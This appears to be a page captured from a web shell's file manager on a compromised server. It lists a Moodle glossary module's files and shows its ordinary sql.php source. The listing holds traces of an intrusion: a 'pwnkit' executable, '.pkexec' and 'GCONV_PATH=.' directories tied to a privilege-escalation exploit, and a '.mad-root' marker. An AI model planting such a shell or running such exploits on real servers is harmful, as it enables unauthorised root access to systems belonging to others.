Gecko [ 167.86.127.34 ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
backup	[ DIR ]	drwxrwxrwx
classes	[ DIR ]	drwxrwxrwx
db	[ DIR ]	drwxrwxrwx
formats	[ DIR ]	drwxrwxrwx
lang	[ DIR ]	drwxrwxrwx
pix	[ DIR ]	drwxrwxrwx
tests	[ DIR ]	drwxrwxrwx
.mad-root	0 B	-rw-r--r--
README.txt	1.7 KB	-rwxrwxrwx
TODO.txt	607 B	-rwxrwxrwx
approve.php	2.22 KB	-rwxrwxrwx
deleteentry.php	5.93 KB	-rwxrwxrwx
edit.php	4.03 KB	-rwxrwxrwx
edit_form.php	6.72 KB	-rwxrwxrwx
editcategories.html	3.29 KB	-rwxrwxrwx
editcategories.php	10.82 KB	-rwxrwxrwx
export.php	2.62 KB	-rwxrwxrwx
exportentry.php	4.36 KB	-rwxrwxrwx
formats.php	9.5 KB	-rwxrwxrwx
import.php	15.35 KB	-rwxrwxrwx
import_form.php	1.14 KB	-rwxrwxrwx
index.php	4.34 KB	-rwxrwxrwx
lib.php	157.28 KB	-rwxrwxrwx
locallib.php	29.11 KB	-rwxrwxrwx
mod_form.php	10.57 KB	-rwxrwxrwx
print.php	6.89 KB	-rwxrwxrwx
pwnkit	10.99 KB	-rwxr-xr-x
rsslib.php	7.79 KB	-rwxrwxrwx
settings.php	3.82 KB	-rwxrwxrwx
showentry.php	3.12 KB	-rwxrwxrwx
showentry_ajax.php	3.77 KB	-rwxrwxrwx
sql.php	3.83 KB	-rwxrwxrwx
styles.css	2.5 KB	-rwxrwxrwx
tabs.php	3.86 KB	-rwxrwxrwx
upgrade.txt	1.1 KB	-rwxrwxrwx
version.php	1.2 KB	-rwxrwxrwx
view.php	19.33 KB	-rwxrwxrwx

Code Editor : sql.php

<?php

/**
 * SQL.PHP
 *    This file is include from view.php and print.php
 * @copyright 2003
 **/

/**
 * This file defines, or redefines, the following variables:
 *
 * bool $userispivot Whether the user is the pivot.
 * bool $fullpivot Whether the pivot should be displayed in full.
 * bool $printpivot Whether the pivot should be displayed.
 * string $pivotkey The property of the record at which the pivot is.
 * int $count The number of records matching the request.
 * array $allentries The entries matching the request.
 * mixed $field Unset in this file.
 * mixed $entry Unset in this file.
 * mixed $canapprove Unset in this file.
 *
 * It relies on the following variables:
 *
 * object $glossary The glossary object.
 * context $context The glossary context.
 * mixed $hook The hook for the selected tab.
 * string $sortkey The key to sort the records.
 * string $sortorder The order of the sorting.
 * int $offset The number of records to skip.
 * int $pagelimit The number of entries on this page, or 0 if unlimited.
 * string $mode The mode of browsing.
 * string $tab The tab selected.
 */

$userispivot = false;
$fullpivot = true;
$pivotkey = 'concept';

switch ($tab) {

case GLOSSARY_AUTHOR_VIEW:
        $userispivot = true;
        $pivotkey = 'userid';
        $field = ($sortkey == 'LASTNAME' ? 'LASTNAME' : 'FIRSTNAME');
        list($allentries, $count) = glossary_get_entries_by_author($glossary, $context, $hook,
            $field, $sortorder, $offset, $pagelimit);
        unset($field);
        break;

case GLOSSARY_CATEGORY_VIEW:
        $hook = (int) $hook; // Make sure it's properly casted to int.
        list($allentries, $count) = glossary_get_entries_by_category($glossary, $context, $hook, $offset, $pagelimit);
        $pivotkey = 'categoryname';
        if ($hook != GLOSSARY_SHOW_ALL_CATEGORIES) {
            $printpivot = false;
        }
        break;

case GLOSSARY_DATE_VIEW:
        $printpivot = false;
        $field = ($sortkey == 'CREATION' ? 'CREATION' : 'UPDATE');
        list($allentries, $count) = glossary_get_entries_by_date($glossary, $context, $field, $sortorder,
            $offset, $pagelimit);
        unset($field);
        break;

case GLOSSARY_APPROVAL_VIEW:
        $fullpivot = false;
        $printpivot = false;
        list($allentries, $count) = glossary_get_entries_to_approve($glossary, $context, $hook, $sortkey, $sortorder,
            $offset, $pagelimit);
        break;

case GLOSSARY_STANDARD_VIEW:
    default:
        $fullpivot = false;
        switch ($mode) {
            case 'search':
                list($allentries, $count) = glossary_get_entries_by_search($glossary, $context, $hook, $fullsearch,
                    $sortkey, $sortorder, $offset, $pagelimit);
                break;

case 'term':
                $printpivot = false;
                list($allentries, $count) = glossary_get_entries_by_term($glossary, $context, $hook, $offset, $pagelimit);
                break;

case 'entry':
                $printpivot = false;
                $entry = glossary_get_entry_by_id($hook);
                $canapprove = has_capability('mod/glossary:approve', $context);
                if ($entry && ($entry->glossaryid == $glossary->id || $entry->sourceglossaryid != $glossary->id)
                        && (!empty($entry->approved) || $entry->userid == $USER->id || $canapprove)) {
                    $count = 1;
                    $allentries = array($entry);
                } else {
                    $count = 0;
                    $allentries = array();
                }
                unset($entry, $canapprove);
                break;

case 'letter':
            default:
                list($allentries, $count) = glossary_get_entries_by_letter($glossary, $context, $hook, $offset, $pagelimit);
                break;
        }
        break;
}

${this.title}

Code Editor : sql.php